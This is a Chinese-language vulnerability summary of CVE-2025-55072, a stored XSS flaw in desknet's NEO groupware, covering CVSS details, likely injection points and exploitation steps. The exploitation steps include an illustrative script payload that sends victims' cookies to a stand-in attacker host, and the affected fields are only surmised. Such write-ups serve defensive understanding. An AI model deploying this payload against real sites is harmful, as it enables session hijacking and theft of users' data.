CVE-2025-55072CVE-2025-55072是desknet's NEO协同办公软件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由JPCERT/CC的vultures团队发现并报告,CVSS评分为5.4分,属于中危级别漏洞。受影响的版本范围为V2.0R1.0至V9.0R2.0,覆盖了desknet's NEO多个主要版本。
desknet's NEO是日本NEOSYSTEM公司开发的一款企业级协同办公软件套件,广泛应用于日本及全球的政府机关、教育机构和企业中。该软件提供日程管理、邮件收发、文件共享、公告板、工作流等多种功能,是企业内部信息化的重要工具。
存储型XSS漏洞是一种危害较大的Web安全漏洞,攻击者可以将恶意JavaScript代码注入到Web应用程序中,当其他用户访问受影响的页面时,恶意代码会在受害者的浏览器中自动执行。与反射型XSS不同,存储型XSS的恶意代码被持久化保存在服务器端,影响范围更广,危害更为严重。在desknet's NEO中,攻击者可以利用此漏洞在用户浏览器中执行任意JavaScript代码,可能导致会话劫持、敏感信息窃取、权限提升等安全风险。
该漏洞的CVSS向量表明,攻击需要网络访问权限、低权限认证和用户交互,攻击复杂度较低,且会影响其他用户的会话(Scope: Changed),对机密性和完整性造成低影响,但不影响可用性。
存储型XSS漏洞的产生原因是Web应用程序对用户输入的数据未进行充分的过滤和转义处理,导致恶意脚本代码被存储到服务器端的数据库中。当其他用户请求包含该恶意数据的页面时,服务器将恶意代码作为正常内容返回给浏览器,浏览器解析执行其中的JavaScript代码,从而触发XSS攻击。
在desknet's NEO中,该漏洞可能存在于以下场景:
1. 公告板或消息发布功能:攻击者发布包含恶意JavaScript代码的公告或消息
2. 日程事件描述:创建日程时在描述字段中注入恶意脚本
3. 文件名或附件信息:上传文件时通过文件名注入恶意代码
4. 用户个人资料或评论功能
攻击利用方式:
1. 攻击者首先需要获取desknet's NEO的有效低权限账户(PR:L)
2. 登录系统后,在存在漏洞的输入字段中提交包含恶意JavaScript的payload,例如:<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
3. 恶意代码被服务器存储到数据库中
4. 当其他用户(受害者)访问包含该内容的页面时,浏览器自动执行恶意脚本
5. 由于漏洞影响范围为Changed(S:C),攻击者可以访问受害者的会话上下文,窃取cookie、会话令牌等敏感信息
6. 攻击者可利用窃取的会话信息冒充受害者执行操作,如读取邮件、修改设置等
该漏洞需要用户交互(UI:R)触发,通常通过诱导受害者点击或访问包含恶意内容的页面实现。